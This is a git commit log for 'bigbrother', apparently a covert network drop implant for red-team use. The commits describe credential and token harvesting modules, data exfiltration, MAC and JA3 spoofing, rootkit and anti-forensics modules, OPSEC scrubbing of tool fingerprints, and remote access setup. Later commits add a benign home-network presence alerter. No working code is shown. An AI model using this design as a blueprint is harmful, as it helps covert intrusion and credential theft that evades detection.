(Synology, QNAP). New device_type categories: wearable, network, nas.

DevTrack: bigbrother #417
2026-04-10 07:05:25 -04:00
n0mad1k 2cb408af4f Expand JA3 fingerprint database from 4 to 501 profiles
New seed_ja3.py generates comprehensive JA3 TLS fingerprint profiles
covering Chrome/Chromium (100-124 x 4 platforms), Firefox (100-125 x 3),
Edge, Safari (macOS + iOS), Opera, Brave, Tor Browser, Vivaldi, ChromeOS,
TLS libraries (OpenSSL, BoringSSL, GnuTLS, NSS, Go, Java, .NET, Node.js,
mbedTLS, wolfSSL, rustls), common tools (curl, wget, Python, httpx),
mobile clients (Samsung Internet, Android WebView, iOS WKWebView),
VPN clients (AnyConnect, GlobalProtect, OpenVPN, WARP), Electron apps,
and IoT/embedded devices (ESP32, AWS IoT, smart home).

JA3 hashes are computed correctly from TLS ClientHello parameters using
the standard MD5(version,ciphers,extensions,curves,formats) formula.

DevTrack: bigbrother #416
2026-04-10 07:02:56 -04:00
Cobra 296bb08c56 Fix ble_alerter: MAC name filter, Matrix 429 backoff, active scanner
- Reject dash/colon MAC-format device names (e.g. 45-48-39-7F-73-C7)
  from open mode — were slipping past is_generic_name()
- Add exponential backoff (1s, 2s) on Matrix 429/5xx, max 3 attempts —
  startup burst was rate-limiting and dropping alerts
- Commit active scanner flag (scanning_mode=active) that was in working
  tree but not in prior commit 8686eb5 despite the commit message
- Add 3 tests: MAC format filter, 429 retry success, 429 give-up

Fixes DevTrack #518
2026-04-10 06:44:13 -04:00
Cobra 8686eb520e Switch BLE scanner to active mode — bleak 0.20 passive requires or_patterns on BlueZ
Passive mode fails on Debian bookworm bleak 0.20.2 without or_patterns filter.
Active mode is functionally equivalent for building-level presence detection
and actually yields more complete advertisement data including device names.
2026-04-10 06:37:30 -04:00
Cobra a1d6266c33 Fix test_too_short test (abc/abd are hex characters) 2026-04-10 06:33:38 -04:00
Cobra 8429ab10ff Restore execute permission on operator_setup.sh 2026-04-10 06:32:31 -04:00
Cobra 7a453ede6a Add BLE alerter configuration to operator_setup.sh (mode, devices, timeout, Matrix creds) 2026-04-10 06:32:29 -04:00
Cobra c778d27bac Update deploy-daemon.sh to deploy both net_alerter and ble_alerter 2026-04-10 06:31:55 -04:00
Cobra 6fac58aead Add unit tests for BLE alerter (mocked bleak, async scenarios) 2026-04-10 06:31:41 -04:00
Cobra 77dbf1baa3 Add systemd unit for BLE alerter (after bluetooth.target) 2026-04-10 06:31:39 -04:00
Cobra 358e07f7f6 Add BLE alerter daemon (passive scan, named-device tracking, Matrix alerts) 2026-04-10 06:31:38 -04:00
Cobra 6447a462c2 Fix ARRIVED spam — mark departing instead of popping from known_devices
When on_departure popped the device from known_devices, rapid RTM_NEWNEIGH
events during ARP cache rebuild each triggered on_arrival as if the device
was brand new, flooding the Matrix room with 5-10+ duplicate ARRIVED alerts.

Fix: keep device in known_devices with departing=True flag. on_arrival
silently cancels pending departure timers and returns without alerting when
it sees this flag. Timer callback checks flag before sending the alert and
only pops the device when departure is confirmed after 15 minutes.
2026-04-09 14:34:46 -04:00
Cobra 67cf907f74 Fix on_arrival() to always cancel departure timer on device re-arrival
- Bug: device departs → timer starts, but last_departed_time not set yet
  If device re-arrives before timer fires, timer never cancelled
  Result: false DEPARTED alert sent after re-arrival debounce expires

- Fix: Cancel any pending departure timer immediately on re-arrival,
  before checking last_departed_time

- Test: Added regression test that verifies timer is cancelled when
  device re-arrives before 15-min debounce expires, preventing false alerts

- All 10 tests passing
2026-04-09 13:28:34 -04:00
Cobra 504be80325 Deploy OUI database as part of net_alerter daemon installation
- scp oui.db to /opt/net_alerter/oui.db after daemon script
- Verify DB on remote via Python/sqlite3
- Confirm row count on target host
2026-04-09 13:05:34 -04:00
Cobra ab0688e1b3 Add SQLite OUI database lookup to net_alerter
- lookup_oui() now tries SQLite first (/opt/net_alerter/oui.db)
- Falls back to inline OUI_DICT if DB missing or query fails
- No network calls, local SQLite reads only
- Debug-level logging for failures (no output noise)
2026-04-09 13:05:18 -04:00
Cobra caf44576b6 Add false positive suppression to net_alerter — fix for #467
- Infrastructure IPs (gateway, self, broadcast) silently ignored in
  on_arrival() and on_departure(); seeded at startup from 'ip route'
- 15-minute departure debounce: alert only fires if device is still
  absent after 900s, eliminating ARP cache flush false positives
- 5-minute re-arrival suppression: ARRIVED alert skipped when device
  returns within 5 min of a recorded departure (covers interface flap)
- DHCP renewal dedup: known device re-announcing within 30 min skips
  ARRIVED alert
- Tests added for all four suppression paths (9 total, all passing)
2026-04-09 09:44:37 -04:00
Cobra 25f5775b6f Append QA review findings to consolidated security report
Delta reviewer validation completed:
- 12-item checklist validated (10 PASS, 2 PASS WITH CORRECTIONS, 1 FAIL)
- All 101 agent findings verified as complete and accurate
- 3 corrective actions identified: APT-001 deconfliction, bidirectional cross-refs, dedup transparency
- Report ready for remediation planning with low-effort corrections
2026-04-09 08:31:26 -04:00
Cobra c50be60f51 Append 4 operator Q&A sections with detailed exploitation scenarios and OPSEC analysis 2026-04-09 08:25:52 -04:00
Cobra f7b3796725 Make net_alerter alerts readable — fix hostname dedup and inline OUI lookup
- Replace broken OUI file lookup with inline dict of 200+ common vendors (works on Armbian)
- Fix hostname/IP duplication when reverse DNS fails (show IP once, not twice)
- Add format_arrival() and format_departure() helpers for consistent alert formatting
- Update on_arrival/on_departure to use new formatting functions
- Add comprehensive tests for hostname dedup and OUI lookup
2026-04-08 22:40:35 -04:00
Cobra 2ada26cbfe Update module count assertions to reflect reverse_tunnel removal 2026-04-08 22:26:06 -04:00
Cobra 95714885cd Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00
Cobra 84fa2d7b56 Add net_alerter README with quick start guide 2026-04-08 21:56:28 -04:00
Cobra a194642941 Add Orange Pi Zero 3 specific deployment guide 2026-04-08 21:56:03 -04:00
Cobra eb6221d29c Add net_alerter daemon deployment documentation 2026-04-08 21:55:39 -04:00
Cobra 571033f8dc Add deployment script for net_alerter daemon 2026-04-08 21:55:18 -04:00
Cobra e74ef10d1b Rebuild net_alerter as persistent daemon — DHCP sniffer + Netlink RTM_NEWNEIGH/DELNEIGH; removes 5-min cron, zero active probing 2026-04-08 21:55:02 -04:00
Cobra 1f90f9ca25 Replace nmap ARP scan with passive /proc/net/arp read — no active probing (#449)
- Removed get_local_subnets() and scan_subnet() — no longer needed
- Added read_arp_cache() to read kernel ARP table from /proc/net/arp
- Added fallback to 'ip neigh show' if /proc/net/arp unavailable
- Added lookup_oui() to query system /usr/share/hwdata/oui.txt for vendor names
- Removed subprocess nmap call and re import (no longer needed)
- run() now directly reads ARP cache instead of scanning subnets
- Zero active network traffic — purely passive monitoring
- Removed sudo requirement
2026-04-08 21:01:12 -04:00
Cobra 44b497ef41 Add missing detect_interface_with_retry function to fix engine startup 2026-04-08 20:59:35 -04:00
Cobra 245731e73b Robust interface detection — retry fallback chain for headless boot (#206)
Fixes interface auto-detection failures on Pi Zero 2W where wlan0 doesn't exist
at boot. Implementation:

- Added detect_interface_with_retry() function with 3x retry fallback chain
- Config-supplied interface preferred, then /proc/net/route, then UP interface
- Exponential backoff: 5s, 10s, 20s delays between retries
- Filters excluded prefixes: lo, tailscale*, wg*, tun*, docker*, veth*, br-*
- Used in Engine.__init__(), PacketCapture.start(), MacManager.start()
- Full test coverage: 10 tests for detection, backoff, filtering

Addresses issue where network stack initializes after boot and interfaces
become available after 5-10 second delay.
2026-04-08 20:58:43 -04:00
Cobra 6f421511de Add test to verify Engine instantiates and injects CaptureBus into passive modules (#204) 2026-04-08 20:57:10 -04:00
Cobra 6a79516a28 Enrich net_alerter alerts with OUI vendor and reverse DNS hostname
Parse nmap vendor name from MAC Address line (filtering out 'Unknown').
Fall back to socket.gethostbyaddr for IPs nmap didn't resolve a hostname
for. Alert label is now: 'hostname (vendor)' | 'hostname' | 'vendor' |
'unknown', in that priority order.
2026-04-08 20:31:49 -04:00
Cobra d164958831 Fix Cloudflare bot detection blocking net_alerter Matrix sends
urllib's default Python-urllib user agent is flagged by Cloudflare Bot
Fight Mode (error 1010) when m.mealeyfamily.com homeserver sits behind
Cloudflare. Add a browser-like User-Agent to Matrix PUT/POST requests so
Cloudflare passes the traffic through.
2026-04-08 20:19:24 -04:00
Cobra 019a96b205 Fix flash bugs: remove netplan wifi conflict, suppress eth default route, force IPv4 for Tailscale install
- Remove 20-wifi.yaml netplan block (Bug 1): causes netplan to spawn its own wpa_supplicant instance, which claims ctrl_iface and blocks wpa_supplicant@wlan0.service. The per-interface systemd service is the correct approach.
- Add cleanup line to remove any pre-existing 20-wifi.yaml from the Armbian image.
- Patch 10-dhcp-all-interfaces.yaml to suppress default route on ethernet (Bug 2): without this, ethernet DHCP default route metric 100 beats WiFi metric 1024, routing internet traffic to ethernet which has no upstream. Causes Tailscale and firstboot to fail.
- Force IPv4 resolution in Tailscale curl (Bug 3): some homelab/ISP networks lack IPv6 internet routes. IPv6 DNS resolution for tailscale.com causes immediate curl failure on first boot.
2026-04-08 19:37:38 -04:00
Cobra 248ba78e15 Fix WiFi: enable wpa_supplicant@wlan0 — instance was never linked 2026-04-08 15:56:48 -04:00
Cobra 334f9830e1 Replace .bigbrother with .implant in all identity strings — avoid tool name exposure on fresh flash 2026-04-08 14:08:00 -04:00
Cobra e114d6067a Remove autossh reverse tunnel references — module deleted, causing ImportError on startup 2026-04-08 14:07:52 -04:00
Cobra 1dbcb6aad3 Wire net_alerter cron into setup.sh — reads bb-config.env, seeds baseline on first boot 2026-04-08 13:50:58 -04:00
Cobra b0fd5865cc Make binary downloads non-fatal and add force-confold for nftables conffile prompt 2026-04-08 12:22:25 -04:00
Cobra 3cdccbf47d Fix WiFi conflict and SSH accessibility on fresh flash
- Remove wpa_supplicant@wlan0.service enablement: Netplan spawns its own
  wpa_supplicant instance, enabling the @wlan0 unit creates a second one
  that fights for the socket, causing WiFi instability and SSH drops
- Write /etc/nftables.conf to card at flash time: Armbian bookworm default
  nftables policy drops all input; SSH was unreachable despite sshd running.
  Ruleset allows established, loopback, ICMP, and TCP/22 only

Fixes DevTrack #317 and #295
2026-04-08 11:08:02 -04:00
Cobra 90c26ae24d Fix firstboot service startup: GOPATH env, enable all services, add bettercap passive caplet
- Set HOME/GOPATH/GOMODCACHE before go install kerbrute on arm64 to fix
  'module cache not found' abort that prevented --enable-service from running
- Enable bigbrother-capture, bigbrother-watchdog, and bettercap.service
  in --enable-service block (previously only bigbrother-core was enabled)
- Add services/bettercap.service: runs passive_recon.cap with net.recon +
  net.sniff + events.stream instead of idle api.rest only
- bettercap.service depends on bigbrother-core to ensure engine is up first

Fixes DevTrack #311 and #312
2026-04-08 10:51:09 -04:00
Cobra d66b547045 Fix wpa_supplicant conflict and firstboot robustness
- Remove generic wpa_supplicant.service symlink when wpa_supplicant@wlan0 is enabled — both services fight over wlan0 causing WiFi instability and SSH drops
- Add udev rule to disable WiFi power saving (aw859a drops connections under load with power save on)
- Drop set -e from firstboot script so a failing step does not kill the whole run
- Guard setup.sh call — skip gracefully if not present (dev/test scenario)

Fixes #295 and #296
2026-04-07 21:50:51 -04:00
Cobra 1803c54182 Switch WiFi config from NetworkManager to Netplan+wpa_supplicant
Armbian minimal uses systemd-networkd+wpa_supplicant via Netplan, not NM.
Write Netplan YAML, wpa_supplicant-wlan0.conf, and networkd .network file.
Enable wpa_supplicant@wlan0.service via symlink if template exists.
2026-04-07 17:02:36 -04:00
Cobra d2f4f9759d Fix SD flash mounting wrong partition — Armbian p1=boot p2=rootfs
WiFi, SSH keys, root password, firstboot service were all being written to
the FAT32 boot partition (p1) instead of the ext4 rootfs (p2). Detect the
ext4 partition by filesystem type and mount that as MOUNT_POINT.
2026-04-07 16:44:22 -04:00
Cobra 61a1756dae Fix mktemp overwrite prompt in autossh tunnel keygen 2026-04-07 15:56:59 -04:00
Cobra 56ad5662ac Fix ssh-keygen overwrite prompt and key landing in root home
mktemp creates the file before ssh-keygen runs — keygen sees it exists
and prompts. Switch to mktemp -d so keygen writes a fresh file.

When run via sudo SUDO_USER is set but HOME=/root. Resolve the real
home via getent so the key lands in the operator's ~/.ssh, not root's.
2026-04-07 15:47:31 -04:00
Cobra 6cb48909b2 Save generated SSH key locally to ~/.ssh/bb-<device_id>
Infisical is the backup copy. Local key at a predictable path means
no hunting — ssh -i ~/.ssh/bb-<device_id> just works.
2026-04-07 15:22:55 -04:00
Cobra 42c05f37e6 Fix ANSI rendering and Infisical key storage in operator wizard
echo calls in summary/final sections were missing -e flag so ANSI
escape codes printed literally instead of rendering.

Infisical SSH key storage was targeting a non-existent 'bigbrother'
folder, silently failing to store the private key. Removed folder
argument so keys store at root where creds CLI can retrieve them.
2026-04-07 15:22:16 -04:00
Cobra e00769631a Remove homeserver default — no infrastructure fingerprints in wizard 2026-04-07 14:56:46 -04:00
Cobra 4c332eabb4 Proper Matrix alerter support with client API
Matrix doesn't use a simple webhook URL — needs homeserver, room ID,
and bot token separately. Uses PUT /_matrix/client/v3/rooms/.../send
with Bearer token auth. Room ID is bash-encoded (! → %21, : → %3A)
to avoid Python dependency pre-setup. Also adds ntfy and plain
webhook as options under a typed alerter menu.
2026-04-07 14:55:23 -04:00
Cobra 84f0775f76 Align device ID with MAC profile OUI for consistent network identity
Device ID is now a MAC-format hex string (12 chars) using the same
OUI as the randomly selected device profile. If the device gets an
Amazon OUI for its MAC, the device ID starts with fc65de. Hostname,
MAC, and device ID all point to the same vendor — no inconsistency
for anyone watching the network.
2026-04-07 14:48:22 -04:00
Cobra d8de49a53d Remove bb- prefix from device ID default
bb- prefix is a tool fingerprint — visible in Infisical key names,
alerter payloads, and config files on the device. Default is now
a plain 10-char hex string with no identifying prefix.
2026-04-07 14:44:59 -04:00
Cobra af124cc6d0 Default VPN to Tailscale, add auth key expiry warning
Tailscale handles NAT traversal automatically via DERP relay — more
reliable than WireGuard for devices landing on unknown networks.
Add reminder to use reusable non-expiring keys for long-term drops.
2026-04-07 14:41:17 -04:00
Cobra b0fb5af1fb Include device IP and hostname in firstboot alerter beacon
Blind drops need some way to locate the device when no VPN is selected.
Alerter now reports public IP (via ipify) with fallback to local IP,
plus hostname — gives enough info to SSH directly on same-network drops.
2026-04-07 14:37:04 -04:00
Cobra 2b00b28de6 Add reverse SSH tunnel (autossh) as VPN option in operator wizard
Generates a dedicated tunnel keypair during setup, prints public key
for operator to pre-stage on server, writes private key to SD card.
On first boot: installs autossh, writes bb-tunnel.service with
correct RemoteForward and reconnect settings. Zero network traffic
until operator initiates connection through the tunnel port.
2026-04-07 14:30:10 -04:00
Cobra ae79d64913 Align default hostname with MAC device profiles for OPSEC consistency 2026-04-07 14:19:55 -04:00
Cobra 2b53da80d0 Fix wizard: defaults for all prompts, random hostname/device-id, download robustness
- Add prompt_default() helper: shows defaults, accepts Enter to use them
- WiFi: default=n (skip), keeps passphrase prompt loop
- Root password: auto-generate with openssl, show in summary if used, operator can override
- SSH key: default=1 (generate new)
- Device ID: auto-generate bb-<8-char-uuid>
- Boot mode: default=1 (passive)
- VPN: default=1 (none)
- Hostname: NEW section with auto-generated node-<6-char-uuid> default
- Alerter: default=n (disabled)
- Download: use curl -L (no -f), verify file exists and >50MB
- Config summary: show hostname, mask password (show auto-generated clearly)
- Apply config: write BB_HOSTNAME to /etc/hostname and /etc/hosts
- No eval with user input: use printf -v for variable assignment
2026-04-07 14:17:01 -04:00
Cobra ae35f3f7b8 Fix HOME path when run via sudo — use SUDO_USER's home not /root 2026-04-07 14:12:07 -04:00
Cobra 6f2a6dacea Fix SCRIPT_DIR path now that operator_setup.sh is at repo root 2026-04-07 14:05:36 -04:00
Cobra 8e7e3fe91d Move operator_setup.sh to repo root for direct access 2026-04-07 14:05:12 -04:00
Cobra ab34023c51 Fix set -e crash in image detection and device selection
ls glob on empty cache dir exits non-zero and kills script under
set -euo pipefail. Switched to find which exits 0 on no matches.
Same fix for grep|sed pipeline in device selection; added empty
DEVICE guard.
2026-04-07 14:02:32 -04:00
Cobra 0e49eb914e Add operator SD setup wizard: flash, configure, first-boot autonomy
Single script covers full drop implant prep: image download and flash,
WiFi (with UUID fix), per-device SSH keygen to Infisical, mode selection,
VPN (Tailscale/WireGuard), network alerter webhook, and first-boot service.
Insert card, power on, walk away.
2026-04-07 13:58:01 -04:00
Cobra 5e5f88d6cb Full autonomous first-boot: fix WiFi UUID, self-installing setup
WiFi keyfiles require UUID or NM silently ignores them — that was why
WiFi never connected. Rewrote preconfig_sd.sh to:
- Generate UUID for NM keyfile
- Copy BB source to /root/bb-src/ on the card
- Install bb-firstboot.service that runs setup.sh --enable-service
  after network-online.target, then disables itself
- Per-device keygen, private key to Infisical

Single command now produces a card that boots and self-installs.
2026-04-07 13:45:04 -04:00
Cobra e1f937f42c Generate per-device SSH keypair instead of copying operator keys
Each device gets a unique ed25519 keypair generated at preconfig time.
Private key goes to Infisical (bigbrother/SSH_PRIVKEY_<ID>), public key
to the SD card only. No operator keys or identifying comments on device.
2026-04-07 13:42:45 -04:00
Cobra 77aac72d31 Strip SSH key comments on deploy; add preconfig_sd.sh
Copying authorized_keys verbatim onto a drop implant leaks internal hostnames,
usernames, and tool names in key comments. preconfig_sd.sh now strips all
comments (awk '{print $1,$2}') when writing keys to SD card. deploy.sh adds
the same strip step on the live device as a safety net.
2026-04-07 13:41:44 -04:00
Cobra 8037462276 Randomize system hostname from device profile to match MAC identity 2026-04-07 13:33:54 -04:00
Cobra 7070f6548c Add reimage bootstrap: deploy.sh, setup_wifi.sh, fix setup.sh enable/reinstall, idempotent DB inserts 2026-04-07 13:20:15 -04:00
Cobra 0f754cfb7f Fix DB table/column mismatch and stale PID noise on startup
build_data.py created 'profiles' but mac_manager queries 'mac_profiles'.
Columns category/model renamed to device_type/device_name. device_type
values aligned with _CATEGORY_MAP in mac_manager (streaming, smart_tv,
phone, tablet, smart_speaker, iot, printer, gaming).

ja3_fingerprints.db table renamed from 'fingerprints' to 'ja3_profiles'
and expanded with all columns ja3_spoofer queries (name, description,
cipher_suites, extensions, elliptic_curves, ec_point_formats as JSON).

StateManager.reset_module_status() clears stale 'running' entries on
startup so watchdog doesn't flag old-session PIDs as dead modules.
Engine.start_all() calls reset before launch and does a 3s post-startup
liveness check, logging any modules that crashed immediately after fork.
2026-04-07 13:05:31 -04:00
Cobra e15e077be8 Skip MAC rotation on active WiFi interfaces to prevent ENETDOWN
When wlan0 is the primary data interface (WiFi-only deployment), changing
its MAC via SIOCSIFHWADDR drops the AP association and puts all AF_PACKET
sockets into ENETDOWN permanently until wpa_supplicant re-associates.

- _apply_profile: skip set_mac if _eth_iface is a WiFi interface
- _apply_profile: skip WiFi set_mac if _wifi_iface == _eth_iface (same card)
- stop: mirror the same skip logic for MAC restoration

DHCP hostname + TCP stack tuning still applied for blending on WiFi-only nodes.
2026-04-07 12:48:56 -04:00
Cobra 7f58f1cab3 Fix StateManager deadlock with explicit BEGIN IMMEDIATE + retry
with conn: context manager in Python sqlite3 doesn't respect busy_timeout
for the implicit BEGIN; under concurrent subprocess writes the transaction
would fail immediately. Replace with explicit BEGIN IMMEDIATE + retry loop
(6 attempts, 0.5s back-off) to handle WAL write contention.
2026-04-07 12:23:38 -04:00
Cobra a8b81f38c9 Fix credential_db schema conflict and add resilience
credential_sniffer and credential_db both wrote to the same credentials.db
with different schemas; credential_db's executescript failed when creating
the crack_status index on an existing table that lacked that column.

Fix: split credential_db's schema init into table DDL + migration + indexes
so missing columns are added before index creation runs. Migration also
handles any future schema drift.

state.py: add 30s timeout + busy_timeout PRAGMA to write connection so
concurrent subprocess writes stop failing with 'database is locked'.

capture_bus.py: reconnect on ENETDOWN instead of aborting the capture
loop — mac_manager temporarily brings the interface down during MAC
rotation which was silently killing all packet capture.
2026-04-07 12:19:56 -04:00
Cobra 1f0e3ee79a Cap stealth/intel/connectivity modules on Pi3B tier to prevent OOM
- Add max_stealth: 3 and max_other: 4 limits to pi3b tier in HARDWARE_TIERS
- Enforce those caps in _tier_allows() for stealth and intel+connectivity modules
- Disable heavy passive modules: vlan_discovery, network_mapper, auth_flow_tracker, smb_monitor, cloud_token_harvester, ldap_harvester, rdp_monitor, quic_analyzer
- Disable heavy stealth modules: lkm_rootkit, ids_tester, ja3_spoofer, overlayfs_manager, encrypted_storage, anti_forensics, traffic_mimicry
- Disable heavy intel modules: supply_chain_detect, security_posture, tool_output_parser, topology_mapper, user_timeline, net_intel
- Disable heavy connectivity modules: ble_emergency, cellular_backup, bridge, wireguard, wifi_client

On Pi 3B (1GB RAM, 700MB budget), this prevents 35+ subprocesses spawning and causing OOM crashes. Keeps lightweight modules running: dns_logger, tls_sni_extractor, credential_sniffer, host_discovery, os_fingerprint, traffic_analyzer, packet_capture, mac_manager, process_disguise, log_suppression, tmpfs_manager, watchdog, credential_db, change_detector, operator_audit, tailscale, data_exfil.
2026-04-06 22:44:52 -04:00
Cobra 7442dc24dd Fix CaptureBus cross-fork visibility — restart reader in each module subprocess
With multiprocessing fork, threads are not inherited. The parent's
CaptureBus reader thread runs in the parent but module subprocesses
subscribe AFTER fork, so their SubscriberQueue entries are added to
a child-local copy of _subscribers that the parent reader never sees.

Fix: reset and restart CaptureBus in each module subprocess so it
has its own reader thread on the inherited AF_PACKET socket. Each
module gets independent packet delivery. Linux AF_PACKET allows
multiple readers on the same interface.
2026-04-06 22:12:26 -04:00
Cobra 5be7fcf6d4 Fix module subprocess lifecycle and capture_bus injection bugs
Three bugs causing all modules to exit within seconds of startup:

1. _module_runner had no keep-alive loop after calling module.start().
   All modules use a thread-spawning pattern where start() returns
   immediately, so the subprocess exited and killed all daemon threads.
   Added while module._running: sleep(1) loop to block until stop().

2. Engine injected capture_bus under key 'capture_bus' but 9 modules
   (auth_flow_tracker, cloud_token_harvester, ldap_harvester, network_mapper,
   rdp_monitor, quic_analyzer, smb_monitor, db_interceptor, vlan_discovery)
   look for '_capture_bus'. Inject both keys so all modules get it.

3. mac_manager crashes on startup when innocuous_macs.db exists but has
   no mac_profiles table (DB not yet seeded). Added OperationalError
   handler to fall back to random OUI instead of crashing.
2026-04-06 21:57:30 -04:00
Cobra 78738622eb Securely wipe state.db on exit (#216)
- Add secure_wipe_file() to utils/crypto.py for file overwrites + deletion
- Add secure_wipe parameter to StateManager.stop() method
- Wipes all SQLite WAL files (.db, .db-wal, .db-shm) with 3 passes
- Normal exit now calls state.stop(secure_wipe=True) to clear state database
- Falls back to regular delete if secure wipe fails
- Prevents state.db from persisting on disk after shutdown
2026-04-06 11:44:44 -04:00
Cobra edf2ea7c36 Encrypt sensitive credential fields before event bus emission (#215)
- Add encrypt_credential_dict() and decrypt_credential_field() to utils/crypto.py
- Create utils/credential_encryption.py with encryption/decryption helpers
- Add get_credential_encryption_key() to retrieve key from Infisical at runtime
- Add emit_credential_found() wrapper for modules to use instead of direct bus.emit()
- Update all 15 modules emitting CREDENTIAL_FOUND to use encrypted wrapper
- Update 4 modules consuming CREDENTIAL_FOUND to decrypt payload before processing
- Sensitive fields (username, password, hash, token, etc.) encrypted with AES-256-GCM
- Falls back to plaintext if encryption key unavailable or encryption fails
2026-04-06 11:43:46 -04:00
Cobra f15b8994cd Fix #214: Prevent ToolManager crash callback deadlock
- Move crash_callback execution outside of self._lock
- Callback is called after releasing the monitor lock
- Re-acquire lock only for restart decision logic
- Prevents deadlock if callback tries to acquire same lock
- Maintains thread safety for restart and process state updates
2026-04-06 11:40:36 -04:00
Cobra 1b93378f02 Fix #213: Guard BIGBROTHER_DESIGN.md from deployment
- Add BIGBROTHER_DESIGN.md to .gitignore (prevent accidental commits)
- Remove from git tracking (already committed, but won't be in future releases)
- Design document contains sensitive operational details
- Prevents disclosure of architecture during implant extraction
2026-04-06 11:40:03 -04:00
Cobra 50deaf0cfb Fix #212: Remove autossh reverse tunnel module
- Delete modules/connectivity/reverse_tunnel.py (contradicts design)
- BigBrother design specifies WireGuard-only operator access
- Reverse SSH tunnel introduces unnecessary complexity and OPSEC risk
- Operator access is now exclusively through WireGuard VPN per spec
2026-04-06 11:39:56 -04:00
Cobra 1eb35c9050 Fix #211: Remove tool identity strings from deployed artifacts
- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime
2026-04-06 11:39:48 -04:00
Cobra ae4933044b Fix #209: Prevent SSH MITM in data_exfil.py exfiltration
- Replace StrictHostKeyChecking=no with accept-new (verify on first connect)
- Require ssh_known_hosts_file config key pointing to operator's known_hosts
- Validate known_hosts file exists before attempting transfer
- Fail explicitly if known_hosts not configured (prevents silent MITM vulnerability)
- Uses -o UserKnownHostsFile=path to use pinned host keys
2026-04-06 11:39:11 -04:00
Cobra e9735a15bb Fix #208: Prevent SSTI in responder_mgr.py Jinja2 template
- Use jinja2.Environment with BaseLoader instead of Template
- Enable autoescape=True to escape all template variables
- Sanitize relay_targets by converting to strings: [str(ip) for ip in ...]
- Prevents template injection even if relay_targets contains malicious content
2026-04-06 11:38:59 -04:00
Cobra 6ae10fd2f3 Fix #207: Prevent command injection in bettercap_api.py
- set_parameter() now validates param name with regex (alphanumeric, dots, underscores)
- set_parameter() quotes value with repr() to prevent argument injection
- load_caplet() validates path exists, is absolute, and ends with .cap/.caplet
- load_caplet() quotes caplet path for safe interpolation into bettercap command
2026-04-06 11:38:37 -04:00
Cobra 156144c1a7 Fix indentation issues in passive modules requires_capture_bus attribute
- Removed misplaced requires_capture_bus entries that broke indentation
- Added requires_capture_bus = True correctly after requires_root in all passive modules
- All passive modules now have valid Python syntax
2026-04-06 11:37:43 -04:00
Cobra 8dd053e337 Fix #204: Instantiate and inject CaptureBus in Engine
- Engine.__init__ now initializes self.capture_bus = None
- Engine.start_all() instantiates CaptureBus before starting modules
- CaptureBus uses resolved interface from config
- Inject capture_bus into configs of all modules with requires_capture_bus=True
- Engine.stop_all() properly stops CaptureBus after stopping modules
- CaptureBus instantiation includes error handling with fallback
2026-04-06 11:37:15 -04:00
Cobra 04eae3a43e Add requires_capture_bus attribute to BaseModule and passive modules
- BaseModule now has requires_capture_bus = False default
- All 17 passive modules set requires_capture_bus = True
- bigbrother.py imports CaptureBus from core.capture_bus
- Ready for Engine to instantiate and inject CaptureBus
2026-04-06 11:36:24 -04:00
Cobra 59cdda0596 Fix #206: Resolve auto interface to actual interface name
- Engine.__init__ now detects actual interface when config has 'auto'
- Uses get_primary_interface() to find default route interface
- PacketCapture module updated to use detected interface with fallback
- Handles Pi Zero 2W (wlan0) and other non-eth0 systems
2026-04-06 11:35:52 -04:00
Cobra 841d43a3b3 Document operator dispositions from post-review session
LUKS complexity deferred — operator uses disposable cloud VPS/Matrix infra
so on-device encryption provides diminishing returns. Captured device
exposes only target data + dead-end relay credentials.

autossh removal reclassified from detection risk to design violation —
persistent outbound tunnel contradicts passive/dormant architecture.

NOT-FIXING: Matrix homeserver default (opt-in only), creds in /dev/shm
(victim data by design), WireGuard key path (dead-end VPS mitigates).
2026-04-06 11:33:00 -04:00
Cobra eef574f0ca Fix duplicate IR-014 entry and deduplication error in consolidated report
Removed spurious second IR-014 (Verbose Module Startup Logging) which did not exist in any agent output.
This finding was causing confusion between the deployment blocker IR-014 (missing get_hardware_tier() import, CRITICAL)
and the false entry. Corrects triage table consistency and ensures all findings are grounded in actual agent analysis.
2026-04-06 09:51:09 -04:00
n0mad1k 054dc45cd5 Document comprehensive fix plan for daemon initialization failures 2026-04-06 09:15:40 -04:00
n0mad1k 516b7908a6 Add absent_count column and commented-out grace period threshold for tripwire resets 2026-04-06 08:52:30 -04:00
n0mad1k 0156101f11 Rewrite net_alerter with presence tracking: baseline on first run, alert on join and rejoin 2026-04-06 08:47:48 -04:00
n0mad1k 532f5f4a33 Fix net_alerter: don't treat 403 as token expiry — room permission errors were silently dropping all alerts 2026-04-06 08:27:42 -04:00
n0mad1k 75703d7ef6 Auto-refresh Matrix token on 401 instead of silently dropping alerts 2026-03-25 09:33:15 -04:00
n0mad1k 59cfb6b07a Use sudo nmap to allow ARP scan with restricted sudoers 2026-03-25 06:28:48 -04:00
n0mad1k 12f8a37dc4 Use dedicated net-alerter Matrix service account, keep credentials out of repo 2026-03-25 06:20:37 -04:00
n0mad1k 94abb6f2ce Fix deploy.sh to use SSH config alias instead of raw key/host 2026-03-25 06:05:32 -04:00
n0mad1k d7cdd489ce Add net_alerter: new device join alerts via Matrix to condo Pi 2026-03-24 20:29:24 -04:00
n0mad1k 06160b974a Add TimeoutStartSec=60 to core service to allow time for PID file write after module init 2026-03-23 10:30:34 -04:00
n0mad1k e0b8ba4b65 Fix bigbrother-core.service: Type=forking + PIDFile for daemon mode 2026-03-23 07:46:32 -04:00
n0mad1k 1433c422ec Set ZSTD_LEVEL=3 on capture service for Pi 3B CPU headroom 2026-03-22 20:32:41 -04:00
n0mad1k 263e5a50d0 Add pi3b hardware tier and resource guards for condo Pi deployment
- Add pi3b tier (700MB RAM limit, 8 passive/2 active modules, no bettercap/mitmproxy)
- Update detect_hardware_tier() to detect Raspberry Pi 3B by model string and BCM2837
- Add pi3b section to hardware_tiers.yaml
- Add systemd MemoryMax/CPUQuota/OOMScoreAdj to all three service files
- Fix bigbrother-watchdog.service ExecStart (was calling non-existent ResourceMonitor().run())
- Add scripts/run_watchdog.py as standalone health monitor daemon
2026-03-22 20:19:57 -04:00
